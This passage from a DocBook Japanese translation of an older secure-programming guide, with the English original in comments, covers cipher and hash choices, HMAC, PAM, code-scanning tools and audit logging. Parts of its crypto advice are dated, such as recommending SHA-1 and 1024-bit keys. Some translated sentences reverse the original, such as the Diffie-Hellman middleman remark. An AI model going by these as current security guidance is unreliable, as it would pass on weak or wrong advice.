RC4 was a trade secret of RSA Data Security Inc; it's been leaked since,
and I know of no real legal impediment to its use, but RSA has often threatened
court action against users of it (it's not at all clear what RSA could do,
but no doubt they could tie up users in worthless court cases).
If you use RC4, use it as intended - in particular, always discard the
first 256 bytes it generates, or you'll be vulnerable to attack.
-->
ストリーム暗号アルゴリズムはいろいろありますが、大部分が特許に縛られています。
特許に引っかからず、技術的に問題の無いものに、WAKE があります。
RC4 は RSA Data Security Inc の企業秘密でした。しかし漏洩してしまったので、
その利用に現実的な法的障害があるとは思えません。しかし RSA はその利用者に対して
法的処置を施すと、主張を続けてきました(RSA ができることが何なのか、はっきり
していません。しかしユーザが無意味な裁判沙汰に巻き込まれる可能性があるのは
疑いようもありません)。
RC4 を使うなら、自覚して利用してください。特に RC4 が生成した最初の 256 
バイトは切り捨ててください。さもないと脆弱さを抱えることになります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Fluhrer, Mantin, Shamir discuss attacks if 256 bytes not dropped -->
<!--
SEAL is patented by IBM - so don't use it.
SOBER is patented; the patent owner has claimed that it will allow many
uses for free if permission is requested, but this creates an impediment for
later use.
Even more interestingly, block encryption algorithms can be used in modes that
turn them into stream ciphers, and users who want stream ciphers should
consider this approach (you'll be able to choose between far more
publicly-available algorithms).
-->
SEAL は IBM が特許を持っています。したがって利用しないでください。
SOBER には特許があります。特許の所有者は、利用許可を取ってくれれば自由に使って
かまわないとしていますが、後々の利用の障害になります。
さらに面白いのは、モードでブロック暗号アルゴリズムを利用できる点です。
ブロック暗号アルゴリズムをストリーム暗号のように扱います。ストリーム暗号
を使いたいユーザは、この解決方法を検討してください(もっと広く公開している
アルゴリズムから選ぶこともできます)。
</para>

</sect2>


<sect2 id="public-key-encryption">
<!-- <title>Public Key Algorithms</title> -->
<title>公開鍵アルゴリズム</title>

<para>
<!--
For public key cryptography (used, among other things, for
signing and sending secret keys), there are only a few
widely-deployed algorithms.
One of the most widely-used algorithms is RSA;
RSA's algorithm was patented, but only in the U.S., and that patent
expired in September 2000, so RSA can be freely used.
Never decrypt or sign a raw value that an attacker gives you directly using
RSA and expose the result, because that could expost the private key
(this isn't a problem in practice, because most protocols involve
signing a hash computed by the user - not the raw value - or don't expose
the result).
Never decrypt or sign the exact same raw value multiple times
(the original can be exposed).
Both of these can be solved by always adding random padding
(PGP does this) - the usual approach is called
Optimal Asymmetric Encryption Padding (OAEP).
-->
公開鍵暗号法(秘密鍵に署名し、それを送る場合に特に利用されています)で、
広く利用されているアルゴリズムはほんのわずかです。
広く利用されているアルゴリズムに、RSA があります。
RSA のアルゴリズムには特許があります。しかしそれは米国に限定されますし、
2000 年 9 月に特許が切れますので、自由に使えます。
決して生の値を復号したり、署名したりしないでください。攻撃者は RSA を使って
直接生の値を渡し、その結果を公開します。こうすることで、秘密鍵を公開できるから
です(実際にはこれは問題にはなりません。プロトコルの大部分は、ユーザ側で計算
したハッシュに署名したものが入っているからです。これは生データではありません。
つまり結果は公開されません)。
まったく同じ生の値を何回も復号したり、署名したりは絶対しないでください(元の
値が公開されてしまうかもしれません)。
常に双方にランダムなパディングを追加すれば、解決できます(PGP はそうして
います)。普通この解決方法を Optimal Asymmetric Encryption Padding (OAEP)と
呼んでいます。
</para>

<para>
<!--
The Diffie-Hellman key exchange algorithm is widely used to permit
two parties to agree on a session key.  By itself it doesn't guarantee that
the parties are who they say they are, or that there is no middleman, but
it does strongly help defend against passive listeners; its patent
expired in 1997.
If you use Diffie-Hellman to create a shared secret, be sure to hash it first
(there's an attack if use its shared value directly).
-->
Diffie-Hellman 鍵交換アルゴリズムは、2 者間でセッション鍵を一致させる場合に
広く利用されています。それ自身では、お互いに誰であるかの保証はしていません
ので、仲介者は存在しません。しかし、盗み聞きを防ぐのには、非常に効果があります。
特許は 1997 年に切れました。
Diffie-Hellman を使って共有鍵を作成したいなら、はじめに必ずハッシュしてください
(共有値を直接使った攻撃方法が存在します)。
</para>

<para>
<!--
NIST developed the digital signature standard (DSS) (it's a
modification of the ElGamal cryptosystem) for digital signature
generation and verification; one of the conditions for its development
was for it to be patent-free.
-->
NIST は digital signature standard (DSS)を開発しました(ElGamal 暗号システム
の改良版です)。これは電子署名の生成と認証を目的としています。開発条件の 
1 つに、特許は取らない、とあります。

</para>

<para>
<!--
RSA, Diffie-Hellman, and El Gamal's techniques require more bits for the
keys for equivalent security compared to typicaly symmetric keys;
a 1024-bit key in these systems
is roughly equivalent to an 80-bit symmetric key, and
in my opinion that is the minimum you should use today.
If you need very few bits for a public key, then you might use elliptic
curve cryptography (IEEE P1363 has some suggested curves; finding curves
is hard).
However, be careful - elliptic curve cryptography isn't patented, but
certain speedup techniques are patented (elliptic curve is fast enough
that it really doesn't need these speedups anyway for its usual use of
encrypting session / bulk encryption keys).
-->
RSA や Diffie-Hellman、El Gamal 法は、代表的な対称鍵と比べて、同等の
セキュリティを実現するのにさらにビット数を要します。
1024 ビット鍵が 80 ビットの対称鍵とおおよそ同等です。私の考えでは、この
ビット数は現在必要な最低ラインです。
公開鍵をごくわずかなビット数にする必要があるなら、elliptic curve 暗号(楕円
曲線暗号)を利用しても良いでしょう(IEEE P1363 では曲線をいくつか推奨して
います。適切な曲線を見つけるのは困難です)。
しかし注意すべき点があります。elliptic curve 暗号には特許はありませんが、
その高速化技術に特許がある点です(elliptic curve 暗号は十分に高速で、これらの
高速化は実際に普通の暗号セッションや巨大な暗号鍵の利用には必要ありません)。
</para>
</sect2>

<sect2 id="hash">
<!-- <title>Cryptographic Hash Algorithms</title> -->
<title>暗号化ハッシュ・アルゴリズム</title>

<para>
<!--
Some programs need a one-way cryptographic hash algorithm, that is, a function
that takes an ``arbitrary'' amount of data and generates a fixed-length
number that hard for an attacker
to invert (e.g., it's difficult for an attacker to
create a different set of data to generate that same value).
For a number of years MD5 has been a favorite, but recent efforts have
shown that its 128-bit length may not be enough
[van Oorschot 1994]
and that certain attacks weaken MD5's protection
[Dobbertin 1996].
Indeed, there are rumors
that a top industry cryptographer has broken MD5, but is bound by
employee agreement to keep silent
(see the Bugtraq 22 August 2000 posting by John Viega).
Anyone can create a rumor, but enough weaknesses have been found that
the idea of completing the break is plausible.
If you're writing new code, use SHA-1 instead of MD5.
Don't use the original SHA (now called ``SHA-0'');
SHA-0 had the same weakness that MD5 does.
If you need more bits in your hash algorithm, use SHA-256, SHA-384, or
SHA-512; you can get the specifications in NIST FIPS PUB 180-2.
-->
一方向ハッシュ暗号アルゴリズムが必要なプログラムもあります。つまり「任意の」
量のデータを受け取って、攻撃者が逆転するのが困難な固定長の数を生成する関数です
(たとえば、攻撃者が別のデータを使って、同じ値を生成するのが困難なものです)。
もう何年も MD5 が本命でしたが、最近の成果で MD5 の 128 ビット長ではもはや
十分でないことが示されました[van Oorschot 1994]。
また、ある種の攻撃は MD5 の防御を弱体化します[Dobbertin 1996]。
業界トップの暗号家が MD5 を破ったが、雇用契約の関係で沈黙している、という噂
が実際にあります(John Viega 氏が Bugtraq に August 2000 年 8 月 22 日に投稿
した記事を見てください)。
噂は誰でも流せますが、弱点がそれなりに見つかっていますので、完璧に破ったという
のはもっともらしく聞こえます。
新しくコードを書くなら、MD5 のかわりに SHA-1 を使ってください。
オリジナルの SHA(SHA-0 と呼ばれています) は使わないでください。
SHA-0 は MD5 と同じような弱点があります。
ハッシュアルゴリズムにもっとビット数が必要なら、SHA-256 や SHA-384、SHA-512 
を使ってください。仕様書は、NIST の FIPS PUB 180-2 にあります。
</para>
</sect2>

<sect2 id="itnegrity-check">
<!-- <title>Integrity Checking</title> -->
<title>整合性の確認</title>

<para>
<!--
When communicating, you need some sort of integrity check (don't depend
just on encryption, since an attacker can then induce changes of information
to ``random'' values).
This can be done with hash algorithms, but don't just use a hash function
directly (this exposes users to an ``extension'' attack - the attacker
can use the hash value, add data of their choosing, and compute the new hash).
The usual approach is ``HMAC'', which computes the integrity check as
<programlisting>
  H(k xor opad, H(k xor ipad, data)).
</programlisting>
where H is the hash function (typically MD5 or SHA-1) and k is the key.
Thus, integrity checks are often HMAC-MD5 or HMAC-SHA-1.
Note that although MD5 has some weaknesses, as far as I know MD5 isn't
vulnerable when used in this construct, so HMAC-MD5 is (to my knowledge) okay.
This is defined in detail in IETF RFC 2104.
-->
通信をする時には、何らかの整合性のチェックが必要です(暗号化にだけ頼らないで
ください。攻撃者が情報を変更して、「ランダム」な値にしてしまえます)
チェックはハッシュアルゴリズムで実現できます。しかし、直接ハッシュ関数を使用
しないでください(そうすると、ユーザを「拡張」攻撃にさらすことになります。
攻撃者がハッシュ値を利用して、自分が選んだデータを追加し、新しいハッシュを
計算する攻撃です)。
解決方法は、普通は「HMAC」です。これで整合性のチェックを次のように計算します。
<programlisting>
  H(k xor opad, H(k xor ipad, data)).
</programlisting>
H はハッシュ関数です(普通は MD5 か SHA-1 です)で、k は鍵です。
つまり、整合性の確認は、HMAC-MD5 か HMAC-SHA-1 になります。
MD5 は弱点を抱えているものの、この構成では脆弱性は無いと思っています。
したがって、HMAC-MD5 は(私の考えでは)問題ありません。
詳細は、IETF RFC 2104 に定義してあります。
</para>

<para>
<!--
Note that in the HMAC approach, a receiver can forge the same data as a sender.
This isn't usually a problem, but if this must be avoided, then use
public key methods and have the sender ``sign'' the data with the sender
private key - this avoids this forging attack, but it's more expensive and
for most environments isn't necessary.
-->
HMAC による解決方法では、受信者が送信者となって同じデータを偽造できることを
忘れないでください。
これは普段問題にはなりません。しかし回避しなければならないなら、公開鍵方式
を使って、送信者が送信者の秘密鍵で「署名」して下さい。これで偽造による攻撃
は回避できますが、より手間がかかってしまいます。たいていの環境では必要では
ありません。
</para>

</sect2>

<sect2 id="crypto-other">
<!-- <title>Other Cryptographic Issues</title> -->
<title>その他暗号関連の問題</title>

<para>
<!--
You should both encrypt and include integrity checks of data that's important.
Don't depend on the encryption also providing integrity - an attacker may
be able to change the bits into a different value, and although the attacker
may not be able to change it to a specific value, merely changing the
value may be enough.
In general, you should use different keys for integrity and secrecy, to
avoid certain subtle attacks.
-->
暗号化とデータの整合性双方をチェックしてください。それが重要です。
暗号化に整合性のチェックがあったとしても、それに頼ってはいけません。攻撃者
がビットを変更して、別の値にしてしまうかもしれません。特定の値に変更できない
としても、その値を変更できればそれで十分です。
普通は、手の込んだ攻撃を回避するために、整合性と秘密維持に別の鍵を使って
ください。
</para>

<para>
<!--
One issue not discussed often enough is the problem of ``traffic analysis.''
That is, even if messages are encrypted and the encryption is not broken,
an adversary may learn a great deal just from the encrypted messages.
For example, if the presidents of two companies start exchanging many
encrypted email messages, it may suggest that the two comparies are
considering a merger.
For another example, many SSH implementations have been found to have a
weakness in exchanging passwords: observers could look at packets and 
determine the length (or length range) of the password, even if they
couldn't determine the password itself.
They could also also determine other information about the password that
significantly aided in breaking it.
-->
十分に議論できていない問題の 1 つに「トラフィック分析」があります。
つまりメッセージが暗号化され、その暗号が破られていなくても、攻撃者は暗号化
したメッセージからさまざまなことが分かってしまいます。
たとえば、2 つの会社の社長が、多数の暗号化された電子メールのメッセージを
やり取りしはじめたとすると、 2 つの会社が合併を検討しているかもしれません。
別の例として、SSH の実装の多くにはパスワード交換の弱点があることが分かって
います。観察者はパケットを見て、パスワード長(もしくは長さの範囲)を推測でき
ます。パスワード自体は推測できないにしてもです。
また、パスワードに関連したその他の情報も推測できます。これはパスワードを
破るのにかなりの手助けとなります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://lwn.net/2001/0322/a/ssh-analysis.php3 -->
</para>

<para>
<!--
Be sure to not make it possible to solve a problem in parts, and use
different keys when the trust environment (who is trusted) changes.
Don't use the same key for too long - after a while, change the session key
or password so an adversary will have to start over.
-->
部分的に問題を解決するような真似はしないでください。信頼できる環境(誰を信頼
できるか)が変化したなら、別の鍵を使ってください。
あまりに長い間同じ鍵を使わないでください。つまり、セッション鍵やパスワードは
変更してください。そうすれば、攻撃者は振りだしに戻らなければならなくなります。
</para>

<para>
<!--
Generally you should compress something you'll encrypt - this does
add a fixed header, which isn't so good, but it eliminates many
patterns in the rest of the message as well as making the result
smaller, so it's usually viewed as a ``win'' if compression is likely
to make the result smaller.
-->
概して何かを暗号化したいなら圧縮すべきです。これは固定長のへッダーを
加えることになり、必ずしも良いとは言えないのですが、メッセージを小さくする
のと同時に、メッセージの残りにあるいくつものパタンも無くします。圧縮した結果
が小さくなりそうなら、普通は「うまくいった」と考えても良いでしょう。
</para>

<para>
<!--
In a related note, if you must create your own communication
protocol, examine the problems of what's gone on before.
Classics such as Bellovin [1989]'s review of security problems
in the TCP/IP protocol suite might help you, as well as
Bruce Schneier [1998]
and Mudge's breaking of Microsoft's PPTP implementation and their
follow-on work.
Again, be sure to give any new protocol widespread public review, and
reuse what you can.
-->
関連事項として、自分で通信プロトコルを作成しなければならないなら、以前
どんな問題があったのか調査をしてください。
Bellovin[1989]のような TCP/IP プロトコルのセキュリティ上の問題を論じた
古典が役に立つと思います。Bruce Schneier [1998]や Mudge 氏による Microsoftの 
PPTP の実装を破った資料やその後の資料も同様です。 
繰り返しますが、新しいプロトコルはどんなものでも、必ず広く公開してレビューを
受けてください。利用できるものは利用してください。
</para>
</sect2>

</sect1>


<sect1 id="use-pam">
<!-- <title>Using PAM</title> -->
<title>PAM を使う</title>

<para>
<!--
Pluggable Authentication Modules (PAM) is
a flexible mechanism for authenticating users.
Many Unix-like systems support PAM, including
Solaris, nearly all Linux distributions
(e.g., Red Hat Linux, Caldera, and Debian as of version 2.2),
and FreeBSD as of version 3.1.
By using PAM, your program can be independent of the
authentication scheme (passwords, SmartCards, etc.).
Basically, your program calls PAM, which at run-time determines
which ``authentication modules'' are required by checking the configuration
set by the local system administrator.
If you're writing a program that requires authentication (e.g., entering
a password), you should include support for PAM.
You can find out more about the Linux-PAM project at
<ulink
url="http://www.kernel.org/pub/linux/libs/pam/index.html">http://www.kernel.org/pub/linux/libs/pam/index.html</ulink>.
-->
Pluggable Authentication Modules(PAM)は、ユーザの認証を柔軟に行う仕組みです。
Unix ライクなシステムには PAM をサポートしているものが多く、Solaris や Linux 
ディストリビューションの大半(Red Hat Linux や Caldera、Debian の バージョン 
2.2)と FreeBSD 3.1 でサポートしています。
PAM を使うと、プログラムと認証の仕組み(パスワードや IC カード)を独立したもの
にできます。
つまり、プログラムは PAM を呼び出し、PAM がローカルシステムの管理者が設定した
内容をチェックし、どの「認証モジュール」が必要かをランタイムに判断します。
認証が必要となるプログラム(たとえばパスワードを入力する)を作成しているなら、
PAM を採用すべきです。
Linux-PAM プロジェクトについては、
<ulink
url="http://www.kernel.org/pub/linux/libs/pam/index.html">http://www.kernel.org/pub/linux/libs/pam/index.html</ulink>
を見てください。
</para>

</sect1>


<sect1 id="tools">
<!-- <title>Tools</title> -->
<title>ツール</title>

<para>
<!--
Some tools may help you detect security problems before
you field the result.
They can't find all such problems, of course, but they can help
catch problems that would overwise slip by.
Here are a few tools, emphasizing open source / free software tools.
-->
セキュリティ上の問題を、実環境で結果を出す前に検出するツールが存在します。
もちろん、すべての問題を見つけられるわけではありませんが、巧妙で見落とし
がちな問題を見つけてくれます。
ここでは、オープンソースとフリーソフトウェアに焦点を当て、ツールを
紹介します。
</para>

<para>
<!--
One obvious type of tool is a program to examine the source code
to search for patterns of known potential security problems
(e.g., calls to library functions in ways are often the source
of security vulnerabilities).
These kinds of programs are called ``source code scanners''.
Here are a few such tools:
-->
ツールのタイプの 1 つは、ソースコードを調べて、セキュリティ上問題に
なりそうな既知のパタンを検索するプログラムです(たとえば、何らかの手段で
ライブラリ関数を呼び出すことが、セキュリティ上の脆弱性につながります)。
この種のプログラムは「ソースコード・スキャナ」と呼ばれています。
ここでいくつか紹介します。
<itemizedlist>
<listitem><para>
<!--
RATS (Rough Auditing Tool for Security)
from Secure Software Solutions is available at
<ulink url="http://www.securesw.com/rats">http://www.securesw.com/rats</ulink>.
This program scans C/C++ source code for common problems, and
is licensed under the GPL.
-->
RATS (Rough Auditing Tool for Security)は、Secure Software Solutions による
もので
<ulink url="http://www.securesw.com/rats">http://www.securesw.com/rats</ulink> 
から取得できます。
このプログラムは C と C++ のソースコードによく発生する問題をスキャンします。
ライセンスは GPL です。
</para></listitem>
<listitem><para>
<!--
Flawfinder, which I"ve developed; it's available at
<ulink url="http://www.dwheeler.com/flawfinder">http://www.dwheeler.com/flawfinder</ulink>.
This is also a program that scans C/C++ source code for common problems,
and is also licensed under the GPL.
Unlike RATS, flawfinder is implemented in Python.
The developers of RATS and Flawfinder have agreed to find a way to
work together to create a single ``best of breed'' open source program.
-->
Flawfinder は私が開発したもので、
<ulink url="http://www.dwheeler.com/flawfinder">http://www.dwheeler.com/flawfinder</ulink> 
から取得できます。
これも C と C++ のソースコードによくある問題をスキャンします。ライセンスは
やはり GPL です。
RATS との違いは、Python で実装している点です。
RATS と Flawfinder の開発者は、共同で最善の組み合わせのプログラムをオープン
ソースで産み出すことに合意しています。
</para></listitem>
<listitem><para>
<!--
ITS4 from Cigital (formerly Reliable Software Technologies, RST)
also statically checks C/C++ code.
It is available free for non-commercial use, including its source code
and with certain modification and redistribution rights.
Note that this isn't released as ``open source'' as defined by the
<ulink url="http://www.opensource.org/osd.html">Open
Source Definition</ulink> (OSD) -
In particular, OSD point 6 forbids
``non-commercial use only'' clauses in open source licenses.
ITS4 is available at
<ulink url="http://www.rstcorp.com/its4">http://www.rstcorp.com/its4</ulink>.
-->
ITS4 は Cigital(前 Reliable Software Technologies。略称 RST)によるもので、
同じく静的に C と C++ のコードをチェックします。
商用に使わなければ自由に利用でき、ソースコードも利用できます。修正や再配布
も可能です。
ただ、これは「オープンソース」を定義した 
<ulink url="http://www.opensource.org/osd.html">Open Source Definition</ulink>
(OSD)でリリースしているわけではありません。特に OSD の 6 番目の基準が
オープンソースのライセンスとして「商用目的での利用の禁止」条項を禁止して
います。
ITS4 は
<ulink url="http://www.rstcorp.com/its4">http://www.rstcorp.com/its4</ulink> 
から取得できます。
</para></listitem>
<listitem><para>
<!--
LCLint is a tool for statically checking C programs.
With minimal effort, LCLint can be used as a better lint.
If additional effort is invested adding annotations to programs,
LCLint can perform stronger checking than can be done by any standard lint. 
For example, it can be used to statically detect likely buffer overflows.
The software is licensed under the GPL and is available from
<ulink url="http://lclint.cs.virginia.edu">http://lclint.cs.virginia.edu</ulink>.
-->
LCLint は静的に C プログラムをチェックするツールです。
手間をほとんどかけなくても、LCLint は優れた lint として利用できます。
さらに努力してプログラムに注釈を加えれば、LCLint は標準的な lint が行うどんな
チェックより強力にチェックを行います。
たとえば、バッファオーバーフローが起こりそうなところを静的に検出するのに利用
できます。
ソフトウェアのライセンスは GPL で、
<ulink url="http://lclint.cs.virginia.edu">http://lclint.cs.virginia.edu</ulink> 
から取得できます。

</para></listitem>
<listitem><para>
<!--
cqual is a type-based analysis tool for finding bugs in C programs. cqual 
extends the type system of C with extra user-defined type qualifiers, 
e.g., it can note that values are ``tainted'' or ``untainted''
(similar to Perl's taint checking). The 
programmer annotates their program in a few places, and cqual performs 
qualifier inference to check whether the annotations are correct. cqual 
presents the analysis results using Program Analysis Mode, an emacs-based
interface.
The current version of cqual can detect potential format-string 
vulnerabilities in C programs.
A previous incarnation of cqual, Carillon, 
has been used to find Y2K bugs in C programs.
The software is licensed under the GPL and is available from
<ulink url="http://www.cs.berkeley.edu/Research/Aiken/cqual">http://www.cs.berkeley.edu/Research/Aiken/cqual</ulink>.
-->
cqual は型ベースで分析するツールで、C プログラムのバグを見つけ出します。cqual 
は C の型システムを拡張して、さらにユーザ定義の型修飾子を追加しています。
たとえば、「tainted」や 「untainted」というように値を記述できます(Perl の汚染
チェックと似ています)。プログラマはプログラムに何ヶ所か注釈を入れると cqual 
は修飾子から推論を行い、修飾子が適切かどうかチェックします。cqual は分析結果
を Program Analysis Mode という emacs ベースのインタフェースを使って表示
します。
cqual の現バージョンは、C プログラムの書式文字列の脆弱性がありそうな部分
を検知できます。
前バージョンの cqual である Carillon は、C プログラムにある Y2K 関連のバグ
を見つけるのに利用されました。
ソフトウェアは GPL ライセンスで、
<ulink url="http://www.cs.berkeley.edu/Research/Aiken/cqual">http://www.cs.berkeley.edu/Research/Aiken/cqual</ulink> 
から取得できます。
</para></listitem>

<listitem><para>
<!--
Cyclone is a C-like language intended to remove C's security weaknesses.
In theory, you can always switch to a language that is ``more secure,''
but this doesn't always help (a language can help you avoid common mistakes
but it can't read your mind).
<ulink url="http://www.securityfocus.com/guest/9094">John Viega has
reviewed Cyclone</ulink>, and in December 2001 he said:
``Cyclone is definitely a neat language.
It's a C dialect that doesn't feel like it's taking away any power,
yet adds strong safety guarantees, along with numerous features that
can be a real boon to programmers.
Unfortunately, Cyclone isn't yet ready for prime time.
Even with crippling limitations aside, it doesn't yet offer
enough advantages over Java (or even C with a good set of tools)
to make it worth the risk of using what is still a very young technology.
Perhaps in a few years, Cyclone will mature into a robust,
widely supported language that comes dangerously
close to C in terms of efficiency.
If that day comes, you'll certainly see me abandoning C for good.''
The Cyclone compiler has been released under the GPL and LGPL.
You can get more information from the
<ulink url="http://www.research.att.com/projects/cyclone">
Cyclone web site</ulink>.
-->
Cyclone は C ライクな言語で、C のセキュリティ上の弱点を排除するのが目的です。
ある言語から「もっと安全な」言語に理屈上はいつでも移行できます。しかし、
これは何にでも役に立つわけではありません(言語はよくある間違いを回避する
のに役立つかもしれませんが、あなたの考えを汲み取ってくれるわけではありません)。
2001 年 12 月に
<ulink url="http://www.securityfocus.com/guest/9094">John Viega has
reviewed Cyclone</ulink> で John Viega 氏は次のように述べています。
「Cyclone が美しい言語であることはまぎれもない事実です。
C 系の言語であり、C の持つどんなパワーも失ってはいません。にもかかわらず、
安全性を確固とすることを約束し、プログラマが本当に重宝できるさまざまな機能
も加わっています。
ただ残念なのは、Cyclone はまだ主流となるべく準備が整っているわけではない点です。
制限を無くしながらも、まだ Java(もしくは便利なツールを使った C)を越えるような
優位性を提供できていないので、この未熟な技術を使うリスクを負う価値はありま
せん。
もちろん数年の内に Cyclone は能力の点で C に恐ろしく近くありながら、成熟して
強固になり、広くサポートされる言語になるでしょう。
そのような日がくれば、きっと C を捨てても良いと思うでしょう」。
Cyclone コンパイラは、GPL と LPGL でライセンスされています。
さらに詳しい情報は、
<ulink url="http://www.research.att.com/projects/cyclone">
Cyclone web site</ulink> を見てください。
</para></listitem>
</itemizedlist>
</para>


<para>
<!--
Another approach is to create test patterns and run the program,
in attempt to find weaknesses in the program.
Here are a few such tools:
-->
別の解決方法にテストパタンを作成して、プログラムを動かす方法があります。
これはプログラムが持つ弱点を見つける試みの 1 つです。
ツールがいくつかあります。
<itemizedlist>
<listitem><para>
<!--
BFBTester, the Brute Force Binary Tester, is licensed under the GPL.
This program does quick security checks of binary programs.
BFBTester performs checks of single and multiple argument
command line overflows and environment variable overflows.
Version 2.0 and higher can also watch for tempfile creation activity
(to check for using unsafe tempfile names). 
At one time BFBTester didn't run on Linux (due to
a technical issue in Linux's POSIX threads implementation), but this
has been fixed as of version 2.0.1.
More information is available at
<ulink url="http://bfbtester.sourceforge.net/">http://bfbtester.sourceforge.net/</ulink>
-->
BFBTester(Brute Force Binary Tester)は、GPL ライセンスです。
このプログラムは迅速にバイナリプログラムに対してセキュリティ上のチェックを
行います。
BFBTester はコマンドラインの単独もしくは複数の引数や環境変数のオーバーフロー
をチェックできます。
バージョン 2.0 以上ではテンポラリファイルの作成をしようとする動作も監視できる
ようになりました(安全でないテンポラリファイル名が使われていないかチェック
します)。
以前は BFBTester は Linux では動きませんでした(Linux の POSIX スレッドの実装
による技術的な問題で)。しかし、バージョン 2.0.1 ではフィックスしています。
さらに詳しい情報は、
<ulink url="http://bfbtester.sourceforge.net/">http://bfbtester.sourceforge.net/</ulink>
を参照してください。
</para></listitem>

<listitem><para>
<!--
The 
<ulink url="http://fuzz.sourceforge.net">fuzz</ulink>
program
is a tool for testing other software.
It tests programs by bombarding the program being evaluated with random data.
This tool isn't really specific to security.
-->
<ulink url="http://fuzz.sourceforge.net">fuzz</ulink> は他のソフトウェアを
テストするツールです。
このテストは、ランダムなデータでプログラムを攻撃してテストしながら評価します。
セキュリティに限定したツールではありません。
</para></listitem>

</itemizedlist>
</para>

<para>
<!--
There are a number tools that try to give you insight into running
programs that can also be useful when trying to find security problems
in your code.
This includes symbolic debuggers (such as gdb) and trace programs
(such as strace and ltrace).
A program you may not be familiar with is
<ulink url="http://razor.bindview.com/tools/fenris">
Fenris</ulink> (GPL license).
Its documentation describes Fenris as a
``multipurpose tracer, stateful analyzer and partial decompiler
intended to simplify bug tracking,
security audits, code, algorithm or protocol analysis -
providing a structural program trace, general information
about internal constructions, execution path,
memory operations, I/O, conditional expressions and much more.''
Another interesting program along these lines is Subterfugue.
-->
動作しているプログラムを覗いて、コードにあるセキュリティ上の問題を発見
しようとするツールがたくさん存在します。
このツールに該当するのは、シンボリックデバッガ(gdb のような)やトレースする
プログラム(strace や ltrace のような)です。
おそらくあまりご存じないと思いますが、
<ulink url="http://razor.bindview.com/tools/fenris">
Fenris</ulink> (GPL ライセンス)というプログラムがあります。
ドキュメントには Fenris のことを「バグトラックを簡単にするために、状態を
保存して分析したり、部分的に逆コンパイルする機能を持ったりした、汎用トレーサ
です。
セキュリティ監査やコード、アルゴリズム、プロトコルを分析します。プログラム
構成のトレースや内部構造一般の情報として実行パス、メモリ操作、入出力、条件式
等々を提供します」とあります。
もう 1 つこの系列で興味深いプログラムがあります。それは Subterfugue です。
</para>

<para>
<!--
If you're building a common kind of product where many standard
potential flaws exist (like an ftp server or firewall), you might
find standard security scanning tools useful.
One good one is
<ulink url="http://www.nessus.org">Nessus</ulink>; there are many others.
These kinds of tools are very useful for doing regression testing,
but since they essentially use a list of past specific vulnerabilities
and common configuration errors,
they may not be very helpful in finding problems in new programs.
-->
一般的に弱点を抱えがちな製品(ftp サーバやファイアーウォール)を構築している
なら、セキュリティをスキャンするツールが役立つのはおわかりだと思います。
優れたものの 1 つに
<ulink url="http://www.nessus.org">Nessus</ulink> があります。他にもたくさん
のツールがあります。
この種のツールはリグレッション・テスト(回帰テスト)を行うのに非常に便利です。
そもそも過去に特定している脆弱性のリストを使っているからです。ただし、新しい
プログラムの問題を発見するのには、役に立つとはいえません。
【訳註：リグレッション・テストとは、プログラムのあるバグを直した副作用で、
また別のバグが発生していないかどうか、確かめるテストを指します】
</para>

<para>
<!--
Often, you'll need to call on other tools to implement your secure
infrastructure.
The
<ulink url="http://ospkibook.sourceforge.net">
Open-Source PKI Book</ulink>
describes a number of open source programs for
implmenting a public key infrastructure (PKI).
-->
他のツールを呼び出して、基盤を安全に実装する必要が出てくるケースがよくあります。
<ulink url="http://ospkibook.sourceforge.net">
Open-Source PKI Book</ulink>
には、公開鍵基盤(PKI)実装用に、オープンソースのプログラムがたくさん載って
います。
</para>

<para>
<!--
Of course, running a ``secure'' program on an insecure platform
configuration makes little sense.
You may want to examine hardening systems, which attempt to configure
or modify systems to be more resistant to attacks.
For Linux, one hardening system is
Bastille Linux, available at
<ulink url="http://www.bastille-linux.org">http://www.bastille-linux.org</ulink>.
-->
もちろん、安全でないプラットフォームの設定で「安全な」プログラムを動かすのは
ほとんど意味がありません。
よろしければ、システムを強固にする方法を調査して、攻撃に対してより防御できる
ようにシステムを設定、もしくはカスタマイズしてください。
Linux ならば、 Bastille Linux が
<ulink url="http://www.bastille-linux.org">http://www.bastille-linux.org</ulink>
で利用できます。
</para>


</sect1>
<sect1 id="windows-ce">
<title>Windows CE</title>

<para>
<!--
If you're securing a Windows CE Device, you should read
Maricia Alforque's
"Creating a Secure Windows CE Device" at
<ulink url="http://msdn.microsoft.com/library/techart/winsecurity.htm">http://msdn.microsoft.com/library/techart/winsecurity.htm</ulink>.
-->
Windows CE 機を安全にしたいなら、 Maricia Alforque 氏の「Creating a Secure 
Windows CE Device」
<ulink url="http://msdn.microsoft.com/library/techart/winsecurity.htm">http://msdn.microsoft.com/library/techart/winsecurity.htm</ulink>.
を読んでください。
</para>
</sect1>

<sect1 id="write-audit-records">
<!-- <title>Write Audit Records</title> -->
<title>監査記録を書き込む</title>

<para>
<!--
Write audit logs for program startup, session startup, and
for suspicious activity.
Possible information of value includes date, time, uid, euid, gid, egid,
terminal information, process id, and command line values.
You may find the function syslog(3) helpful for implementing audit logs.
One awkward problem is that any logging system should be able to record
a lot of information (since this information could be very helpful), yet
if the information isn't handled carefully the information itself could be
used to create an attack.
After all, the attacker controls some of the input being sent to the program.
When recording data sent by a possible attacker,
identify a list of ``expected'' characters and
escape any ``unexpected'' characters so that the log isn't corrupted.
Not doing this can be a real problem; users may include characters
such as control characters (especially NIL or end-of-line) that
can cause real problems.
For example, if an attacker embeds a newline, they can then forge
log entries by following the newline with the desired log entry.
Sadly, there doesn't seem to be a standard convention for escaping these
characters.
I'm partial to the URL escaping mechanism
(%hh where hh is the hexadecimal value of the escaped byte) but there
are others including the C convention (\ooo for the octal value and \X
where X is a special symbol, e.g., \n for newline).
There's also the caret-system (^I is control-I), though that doesn't
handle byte values over 127 gracefully.
-->
プログラムやセッション開始時、もしくは不審な動作がある時には、監査ログを
書き込んでください。
情報として、日付や時間、uid、euid、gid、egid、端末情報、プロセス id、コマンド
ラインの値を取ってください。
監査ログをとるのに syslog(3)が役立つのはよく知られています。
ログを採るシステムは、たくさんの情報(非常に役立ちます)を記録できますが、
その情報の取り扱いに注意しないと、攻撃に利用されてしまう点がやっかいな問題
です。
最終的には、攻撃者がプログラムに送る入力を部分的にコントロールします。
攻撃者が送ったと思われるデータを記録した時に、「予想通り」の文字リスト
を設定し、「予想通り」でない文字はみなエスケープしてください。そうすれば
ログが汚染されるようなことにはなりません。
そうしないと、本当に困った事態になります。たとえばユーザが制御文字(NIL や EOF)
を入れると、やっかいな事態を発生します。
